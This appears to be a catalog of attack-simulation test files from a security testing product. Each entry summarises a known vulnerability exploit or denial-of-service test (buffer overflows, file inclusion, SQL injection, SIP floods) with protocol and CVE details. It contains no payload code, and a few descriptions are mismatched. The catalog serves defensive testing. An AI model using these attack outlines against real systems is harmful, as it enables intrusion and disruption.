Detailed Description:	This threat sends out a large flood of REGISTER requests to a PBX. This can overwhelm the PBX, denying service to legitimate users. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	hivemail_cmi_a.xml
Executive Description:	HiveMail Vulnerabilities Remote Command Execution

Detailed Description:	This threat sends a crafted URL containing PHP code which is executed by the server. HiveMail is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0757
Threat File Name:	TSL20150406-13_IBM_Domino_LDAP_Server_ModifyRequest_Stack_Buffer_Overflow.xml
Executive Description:	IBM Domino LDAP Server ModifyRequest Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exist in IBM Domino's LDAP Server. The vulnerability is due to insufficient validation of input leading to copying an indefinite amount of data from a crafted ModifyRequest LDAP message to a fixed length stack buffer. A remote, unauthenticated attacker can exploit this vulnerability to cause a buffer overflow. Successful exploitation will result in the execution of arbitrary code with SYSTEM privileges. An unsuccessful attack could result in a denial of service condition of the affected service. Tester should set variable \$destPort to 389 or 636 before test.
Protocol Type:	LDAP/LDAPS
CVEID:	CVE-2015-0117
Threat File Name:	quezza_cmi.xml
Executive Description:	Quezza BB 1.0 (quezza_root_path) File Inclusion Vulnerability.
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via class_template.php's quezza_root_path parameter. Docebo is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2485
OSVDB:	25562
Threat Package:	Standard
Threat File Name:	TSL20170302-08_Trend_Micro_SafeSync_for_Enterprise_storage.pm_discovery_iscsi_device_Command_Injection.xml
Executive Description:	Trend Micro SafeSync for Enterprise storage.pm discovery_iscsi_device Command Injection
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise storage.pm page. The vulnerability is due to insufficient validation of the user-supplied parameters defining an iSCSI device to be discovered. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of root.
Protocol Type:	HTTPS
Threat File Name:	TSL20120625-01_Apple_iTunes_m3u_Playlist_Multiple_Buffer_Overflows.xml
Executive Description:	Apple iTunes m3u Playlist Multiple Buffer Overflows
Detailed Description:	Multiple buffer overflows have been discovered in Apple iTunes. The vulnerabilities are located in the code responsible for handling m3u files and can be triggered by overly long records in m3u files. An attacker can exploit this vulnerability by enticing a user to open an m3u file with iTunes or to view a specially crafted web page with an embedded m3u playlist. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0677
OSVDB:	82897
Threat File Name:	FSC20080408-11_Microsoft_Internet_Explorer_Data_Stream_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Data Stream Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain non-html and html content in the data streams. combinations. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1085
Threat Package:	Standard
Threat File Name:	kerio_dos.xml
Executive Description:	Kerio Personal Firewall IP Options Denial Of Service
Detailed Description:	This threat creates a false DNS reply packet that contains a malformed IP Options field designed to crash Kerio Personal Firewall. The IP Options are set to 01014400, which specifies a timestamp field with a length of 00, causing the Kerio Firewall software to enter an unending loop inside of the Microsoft Windows kernel.
Protocol Type:	IP
CVEID:	CVE-2004-1109
OSVDB:	11582
Threat Package:	Standard
Threat File Name:	virtualcd_activex_rcmd_IPv6.xml
Executive Description:	Virtual CD 9.0.0.2 (vc9api.DLL 9.0.0.57) Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Virtual CD ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070814-14_Microsoft_Internet_Explorer_Pdwizard_ocx_ActiveX_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Pdwizard.ocx ActiveX Object Memory Corruption (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft's ActiveX control pdwizard.ocx. The vulnerability is due to memory corruption that occurs when the affected control is instantiated in Internet Explorer. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3041
Threat Package:	Standard

Threat File Name:	FSC20080708-04_Microsoft_SQL_Server_INSERT_Statement_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft SQL Server INSERT Statement Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow in Microsoft SQL Server. The vulnerability is due improper input validation when processing INSERT statements. A remote authenticated attacker can exploit this vulnerability by sending a specially crafted SQL statement to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected process. (IPv6 Version)
Protocol Type:	MS-SQL-S/IPv6
CVEID:	CVE-2008-0106
Threat Package:	Standard
Threat File Name:	TSL20130910-14_Microsoft_Access_CVE-2013-3156_Memory_Corruption.xml
Executive Description:	Microsoft Access CVE-2013-3156 Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Access. The vulnerability is due to a memory corruption error in the way that Microsoft Access parses ACCDB files. By enticing a target user to open a crafted Access file, an attacker can exploit this vulnerability to execute arbitrary code with the privileges of the logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-3156
OSVDB:	97111
Threat File Name:	TSL20100616-01_Samba_SMB1_Packets_Chaining_Memory_Corruption_IPv6.xml
Executive Description:	Samba SMB1 Packets Chaining Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability has been reported in Samba. The vulnerability is due to improper validation when chaining SMB1 packets. Remote attackers could exploit this vulnerability by sending a crafted SMB message to a target SMB server. Successful exploitation would allow for arbitrary code injection and execution which might allow the attacker to take complete control of a target host. Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition. Tester should set variable \$destPort to 445 before test.
Protocol Type:	SMB/CIFS.IPV6
CVEID:	CVE-2010-2063
OSVDB:	65518
Threat File Name:	scoznews_cmi_IPv6.xml
Executive Description:	ScozNet ScozNews Multiple Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via template.php's CONFIG[main_path] parameter. ScozNews is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2487
OSVDB:	25616
Threat Package:	Standard
Threat File Name:	fusionSBX.xml
Executive Description:	Fusion SBX Command Injection
Detailed Description:	This threat injects an element into the database portion of the Fusion SBX web application. This element calls the PHP passthru command with an attacker supplied variable. This allows the attacker to issue remote commands in the context of the user running the webserver. Can lead to full remote compromise of system.
Protocol Type:	HTTP
CVEID:	CVE-2005-1596
OSVDB:	16217
Threat Package:	Standard
Threat File Name:	asteriskvmretrieval_IPv6.xml
Executive Description:	Asterisk Web Voicemail Retrieval (IPv6 Version)
Detailed Description:	This threat sends out a HTTP request to Asterisk's web voicemail retrieval system, attempting to retrieve another user's voicemail. On some versions of Asterisk, any authenticated user can successfully retrieve another user's voicemail by an educated guess of the URL. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3559
OSVDB:	20577
Threat Package:	Standard
Threat File Name:	comvironment_rfi_IPv6.xml
Executive Description:	ComVironment 4.0 (grab_globals.lib.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ComVironment is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0395
Threat Package:	Standard
Threat File Name:	IEDOS_j2se.xml
Executive Description:	Internet Explorer J2SE Denial of Service
Detailed Description:	This threat causes the IE web browser to crash by triggering an unhandled exceptional case in the J2SE handler This threat comes from a malicious web site, typically over port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
OSVDB:	20376
Threat Package:	Standard
Threat File Name:	gozilla2.xml
Executive Description:	Linksys Gozilla.cgi Denial of Service 2
Detailed Description:	This threat sends a URL request that is known to cause certain versions of Linksys routers to fail.
Protocol Type:	HTTP
OSVDB:	6655
Threat Package:	Standard

Threat File Name:	TSL20170123-01_Dell_SonicWALL_GMS-Analyzer_license.jsp_Information_Disclosure.xml
Executive Description:	Dell SonicWALL GMS-Analyzer license.jsp Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the license.jsp component of Dell SonicWALL GMS, Analyzer. The vulnerability is due to a design weakness where the page containing sensitive information, license.jsp, can be accessed without authentication. This page returns the serial number for the product, which allows an attacker to calculate the key needed to reset the admin password for the server. A remote, unauthenticated attacker could exploit this vulnerability by navigating to the license.jsp of a vulnerable server. Successful exploit results in a disclosure of the Serial Number for the product. An attacker can use this information to gain access to the admin account on the server.
Protocol Type:	HTTP, HTTPS

Threat File Name:	TSL20130709-19_Microsoft_Silverlight_Null_Pointer_Dereference_Code_Execution_IPv6.xml
Executive Description:	Microsoft Silverlight Null Pointer Dereference Code Execution [IPv6, Version]
Detailed Description:	A null pointer dereference vulnerability exists in Microsoft Silverlight. This vulnerability is caused when Silverlight improperly handles a dereference to a null pointer. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the context of the currently logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged on user. If such an attack is not successful, the vulnerable application may terminate abnormally. The vendor, Microsoft, claims that the vulnerability can be exploitable to allow execution of arbitrary code. Research conducted by TELUS Security Labs did not find any evidence substantiating this claim.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-3178
OSVDB:	94958

Threat File Name:	sipinvitebadschemeto_IPv6.xml
Executive Description:	SIP INVITE Bad Scheme To: Field (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a To: field using a mailto: URI. This can confuse or crash a PBX that is not very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP

Threat File Name:	efs_ftp_bof.xml
Executive Description:	Easy File Sharing FTP Server 2.0 (PASS) Remote Exploit (Win2K SP4)
Detailed Description:	This threat uses a long PASS option to cause a buffer overflow in Easy File Sharing FTP, leading to arbitrary code execution. Easy File Sharing FTP is a server application that typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-3952
Threat Package:	Standard

Threat File Name:	RoseAttack.xml
Executive Description:	Rose Attack
Detailed Description:	This threat is a denial of service against the fragmentation reassembly code in Windows. It causes the target to computer to reject further fragments from other sources for a window time of approximately 2 minutes.
Protocol Type:	IP
CVEID:	CVE-2004-0744
OSVDB:	8431
Threat Package:	Standard

Threat File Name:	TSL20160112-18_Microsoft_Word_RTF_Bitmap_biWidth_biHeight_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Word RTF Bitmap biWidth biHeight Heap Buffer Overflow(IPv6 version)
Detailed Description:	A heap buffer overflow vulnerability has been reported in Microsoft Office. The application fails to properly handle certain objects in memory when parsing RTF files containing Bitmap images.A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,SMTP,SMB/CIFS,IPv6
CVEID:	CVE-2016-0010

Threat File Name:	FSC20060216-01_Nullsoft_Winamp_M3U_Remote_Buffer_Overflow_IPv6.xml
Executive Description:	Nullsoft Winamp M3U Remote Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the M3U file parsing component of Nullsoft Winamp. The vulnerability is caused by a failure to properly sanitize the length of a field containing a media file name. A remote attacker can exploit this vulnerability by enticing the user to open a crafted M3U file, thereby creating a denial of service condition or potentially injecting and executing arbitrary code on the target system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0708
Threat Package:	Standard

Threat File Name:	nimda14_IPv6.xml
Executive Description:	Nimda Request URL 14 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard

Threat File Name:	perlpodder_cmi.xml
Executive Description:	PerlPodder Arbitrary Shell Command Execution Vulnerability
Detailed Description:	This threat exploits a failure in PerlPodder to properly sanitize user-supplied input allowing arbitrary command-execution vulnerability.
Protocol Type:	HTTP
OSVDB:	20238
Threat Package:	Standard

Threat File Name:	ccrp_browsedialogclass_dos_IPv6.xml
-------------------	-------------------------------------

Executive Description:	BrowseDialog Class ActiveX Control Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat use a maliciously crafted html page to trigger a denial of service condition due to the vulnerable ActiveX "BrowseDialog Class" Control in Internet Explorer. This affects the BrowseDialog Class ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0371
Threat Package:	Standard
Threat File Name:	TSL20150609-25_Microsoft_Internet_Explorer_CVE_2015_1752_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1752 Memory Corruption IPv6 version
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS. IPV6
CVEID:	CVE-2015-1752
Threat File Name:	TSL20120801-01_Oracle_Outside_In_FlashPix_Image_Processing_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Outside In FlashPix Image Processing Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling the FlashPix image files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed FlashPix file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1744
OSVDB:	83912
Threat File Name:	helix_server_rheap.xml
Executive Description:	Real Networks Helix Server DESCRIBE Request Remote Heap Overflow Vulnerability
Detailed Description:	This threat sends a DESCRIBE request with an invalid LoadTestPassword field to a Helix Server and will lead to a heap overflow and execute arbitrary code. Helix is a server application and typically listens on port 554.
Protocol Type:	Proprietary
CVEID:	CVE-2006-6026
Threat Package:	Standard
Threat File Name:	opera9_dos_b_IPv6.xml
Executive Description:	Opera Malicious HTML Processing Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	Opera Web Browser is prone to a denial-of-service condition when parsing certain malicious HTML content. Successful exploits will cause the browser to fail or hang. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3199
Threat Package:	Standard
Threat File Name:	phpdownloadman_sqli_IPv6.xml
Executive Description:	PHP Download Manager Files.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL query that contains HTML or javascript to be included in the page. Revize CMS is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3679
OSVDB:	20949
Threat Package:	Standard
Threat File Name:	FSC20040217-01_Microsoft_Internet_Explorer_Malformed_BMP_File_Buffer_Overrun_Vulnerability.xml
Executive Description:	Microsoft Internet Explorer Malformed BMP File Buffer Overrun Vulnerability
Detailed Description:	A vulnerability exists in Microsoft Internet Explorer (IE), which could allow a malicious user to execute arbitrary code when a specially crafted bitmap file is loaded by IE.
Protocol Type:	HTTP
CVEID:	CVE-2004-0566
Threat Package:	Standard
Threat File Name:	dlink_upnp_m-search.xml
Executive Description:	D-Link Router uPnP Stack Overflow M-SEARCH
Detailed Description:	This threat causes a stack overflow on affected D-Link routers by sending out a uPnP M-SEARCH request with overly long parameters. This can crash the router or cause code execution. uPnP operates on UDP port 1900.
Protocol Type:	UPnP
Threat Package:	Standard
Threat File Name:	FSC20090728-07_Microsoft_Internet_Explorer_Stylesheet_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Stylesheet Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to a design error in the way Internet Explorer accesses a style sheet object that has been deleted. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-1919
Threat Package:	Standard
Threat File Name:	TSL20131024-08_Oracle_Outside_In_OS_2_Metatile_Parser_Heap_Buffer_Overflow.xml
Executive Description:	Oracle Outside In OS 2 Metatile Parser Heap Buffer Overflow

Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing OS/2 Metafiles. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed file. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	phpcommunitycalendar_sqli_b.xml
Executive Description:	phpCommunityCalendar 4.0.3 SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing an SQL query which is executed by the server via event.php's ID parameter. phpCommunityCalendar is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2797
Threat Package:	Standard
Threat File Name:	at-tftp_dos.xml
Executive Description:	AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow Vulnerability (POC)
Detailed Description:	This threat uses a large buffer sent to a vulnerable TFTP server triggering a buffer overflow or denial of service condition. AT-TFTP is a TFTP server that typically listens on udp port 69.
Protocol Type:	TFTP
Threat Package:	Standard
Threat File Name:	ms02-030_IPv6.xml
Executive Description:	SQLXML contenttype Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the SQL Server ISAPI component for Microsoft IIS. This can be used by an attacker to execute remote code. This is a component of the IIS webserver which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0186
OSVDB:	5347
Threat Package:	Standard
Threat File Name:	TSL20160922-01_HPE_Network_Automation_RMI_Registry_Insecure_Deserialization.xml
Executive Description:	HPE Network Automation RMI Registry Insecure Deserialization
Detailed Description:	An insecure deserialization vulnerability has been reported in the RMI registry of HPE Network Automation. The vulnerability is due to the deserialization of untrusted data. A remote attacker can exploit this vulnerability by sending a request with crafted serialized data to the exposed RMI registry. Successful exploitation would result in the execution of arbitrary code under the context of the RMI registry process.
Protocol Type:	RMI
CVEID:	CVE-2016-4385
Threat File Name:	julmacms_dirtransversal.xml
Executive Description:	JulmaCMS 1.4(file.php file)Remote File Disclosure Vulnerability
Detailed Description:	This threat uses a specially crafted HTTP GET request to return any file on the affected web server resulting in information disclosure and theft of credentials. JulmaCMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2324
Threat Package:	Standard
Threat File Name:	imgsvr_bof.xml
Executive Description:	ImgSvr 0.6.5 (long http post) Denial of Service Exploit
Detailed Description:	This threat sends a crafted HTTP POST command containing an excessively long buffer, this causes an overflow condition in ImgSvr which crashes the process. ImgSvr is a web server application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ttlFirewalking_IPv6.xml
Executive Description:	TTL Firewalking (IPv6 Version)
Detailed Description:	This threat sends out a TCP packet destined for a service on a machine that is behind a firewall. Depending on the reply back, the user can use it to determine if a port is open or not without connecting to the target computer. This is determined by adjusting the Time To Live value in the IP portion of the packet. A TTL exceeded message coming back from the firewall indicates that the port is open and the packet was forwarded. A dropped packet, or no reply, indicates that the port is blocked. This technique can also be used to map out complicated networks behind a firewall. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	ipv6_syn_flood1.xml
Executive Description:	IPv6 SYN Flood
Detailed Description:	This threat is an IPv6 version of a SYN flood.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20091207-08_VideoLAN_VLC_Media_Player_SMB_URI_Invalid_Free_Vulnerability.xml
Executive Description:	VideoLAN VLC Media Player SMB URI Invalid Free Vulnerability
Detailed Description:	A memory corruption vulnerability exists in VideoLAN VLC media player. The vulnerability is due to an invalid free error when processing SMB URIs. Remote attackers can exploit this vulnerability by enticing target users to open a maliciously crafted playlist file, such as a XSPF file, in a vulnerable version of VideoLAN VLC media player. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application would terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
Threat Package:	Standard
Threat File Name:	allegro_dos_IPv6.xml

Executive Description:	Allegro Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends an HTTP GET request with a 1024 byte buffer for the Authenticate field. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0470
OSVDB:	1371
Threat Package:	Standard
Threat File Name:	TSL20120629-06_Oracle_AutoVue_AutoVueX_ActiveX_Control_SetMarkupMode_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle AutoVue AutoVueX ActiveX Control SetMarkupMode Stack Buffer Overflow(IPv6)
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle AutoVue. The vulnerability is due to an unbounded copy from a heap buffer to a stack buffer when processing SetMarkupMode function. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0549
OSVDB:	81439
Threat File Name:	fuzz-IP_FragmentOffset.xml
Executive Description:	Fuzzer for Protocol:IP and Field:FragmentOffset
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	TSL20141107-01_Visual_Mining_NetCharts_Server_Admin_Console_Arbitrary_File_Upload_IPv6.xml
Executive Description:	Visual Mining NetCharts Server Admin Console Arbitrary File Upload IPv6 version.
Detailed Description:	An arbitrary file upload vulnerability has been reported in Visual Mining NetCharts Server. The vulnerability exists in the Admin console and is due to insufficient validation of filename during the upload process. A remote attacker can exploit this vulnerability to execute arbitrary code on the affected system by uploading arbitrary files to certain locations. The remote attacker must be authenticated prior to exploiting the vulnerability, however default credentials can be used in order to by-pass the authentication. Tester should set variable \$destPort to 8001 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-8516
OSVDB:	114127
Threat File Name:	sipfarfuturedate.xml
Executive Description:	SIP Far Future Date
Detailed Description:	This threat sends a SIP NOTIFY message with a Date: header specifying a date in 2039. Because this is past the 2038 barrier that many Unix implementations run into, this may confuse or crash a SIP implementation despite it being a legal message.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20100401-05_Novell_ZENworks_Configuration_Management_Preboot_Service_Code_Execution_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management Preboot Service Code Execution (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in Novell ZENworks Configuration Management. The flaw is due to an input validation error in the Preboot Service when processing messages sent to port TCP/998. Remote attackers can exploit this vulnerability to execute arbitrary code on the vulnerable system. In attack scenarios where code execution is successful the behaviour of the target machine is dependent on the intention of the malicious code. This code will run within the security context of the affected service, which is SYSTEM on Windows. In situations where code execution fails the affected service may terminate abnormally, leading to a denial of service condition. (IPv6 Version)
Protocol Type:	Novell Preboot Service Protocol/IPv6
Threat Package:	Standard
Threat File Name:	beautifier_rfi_IPv6.xml
Executive Description:	Beautifier v0.1 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Beautifier is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040830-01_zlib_Denial_of_Service_IPv6.xml
Executive Description:	zlib Denial of Service (IPv6 Version)
Detailed Description:	A vulnerability exists in the inflate() and inflateback() functions of the zlib library. This vulnerability is caused by insufficient error handling during the pattern expansion of compressed data. An attacker can leverage this vulnerability to create a denial of service condition, or with a high level of sophistication, possibly execute an arbitrary code. (IPv6 Version)
Protocol Type:	HTTP-ALT/IPv6
CVEID:	CVE-2004-0797
Threat Package:	Standard
Threat File Name:	TSL20170201-02_HPE_Intelligent_Management_Center_PLAT_RedirectServlet_parafire_Directory_Traversal_IPv6.xml
Executive Description:	HPE Intelligent Management Center PLAT RedirectServlet parafire Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in HPE Intelligent Management Center PLAT. The vulnerability is due to a missing input validation of parafire parameter in RedirectServlet. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted packets to the target service. Successful exploitation results in denial of service conditions.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-8530
Threat File Name:	CALicenseManager.xml

Executive Description:	Computer Associates License Manager Buffer Overflow Attempt
Detailed Description:	This threat causes a buffer overflow in the Computer Associates License Manager Software. The license manager software typically listens on ports 10203 and 10204.
Protocol Type:	Proprietary
CVEID:	CVE-2002-1598
OSVDB:	14389
Threat Package:	Standard
Threat File Name:	x86NOOPTcp3_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant 3 (IPv6 Version)
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150202-01_Microsoft_Internet_Explorer_Same_Origin_Policy_Bypass.xml
Executive Description:	Microsoft Internet Explorer Same Origin Policy Bypass
Detailed Description:	A same-origin policy bypass vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to error in updating origin data. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a web page. Successful exploitation can result in the disclosure of information about other web pages opened by the user or stored in the browser cache.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0072
OSVDB:	117876
Threat File Name:	wingate.xml
Executive Description:	WinGate Denial Of Service
Detailed Description:	This threat sends 2000 random characters at the WinGate Winsock Redirector Service. Causes the service to crash. The WinGate Redirector service typically listens on port 2080.
Protocol Type:	TCP
CVEID:	CVE-1999-0441
OSVDB:	1021
Threat Package:	Standard
Threat File Name:	blgbb_xss.xml
Executive Description:	BlGbb Visitenkarte.PHP Cross Site Scripting Vulnerability
Detailed Description:	This threat recreates a cross site scripting condition in ColdFusion Fusebox. This can allow an attacker to steal session and cookie information. BlGbb is a web application, and will typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3401
Threat Package:	Standard
Threat File Name:	ie_null_key_IPv6.xml
Executive Description:	Internet Explorer Null Pointer Crash (IPv6 Version)
Detailed Description:	This threat causes internet explorer 6 to crash by sending malicious javascript that causes IE to dereference a null pointer. This threat can be used to prevent a user from using their web browser by a malicious website. This threat would typically come from a server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	xmpersonalftp_bof_IPv6.xml
Executive Description:	XM Easy Personal FTP Server (IPv6 Version)
Detailed Description:	This threat exploits a buffer overflow in the login facility of the XM Easy Personal FTP Server by providing an excessively long USER command. Pablo Software Solutions Quick 'n Easy FTP Server is an FTP service which typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101214-03_Microsoft_Internet_Explorer_HTML_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Object Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error when accessing an object that has not been initialized or deleted properly. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-3340
Threat File Name:	hrsSunONE_IPv6.xml
Executive Description:	HTTP Request Smuggling Poisoning (IPv6 Version)
Detailed Description:	This threat attempts to poison the cache of a SunONE proxy server by sending a specially crafted HTTP request which is parsed differently by the webserver and by the proxy server. This can be used to view webpages by causing the proxy to cache a different page in its place. This threat would typically go through a popular proxy port or port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2094
OSVDB:	17738
Threat Package:	Standard
Threat File Name:	openemr_rfi.xml
Executive Description:	OpenEMR "srcdir" Parameter Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OpenEMR is a web application that typically listens on port 80.
Protocol Type:	HTTP

CVEID:	CVE-2006-5795
Threat Package:	Standard
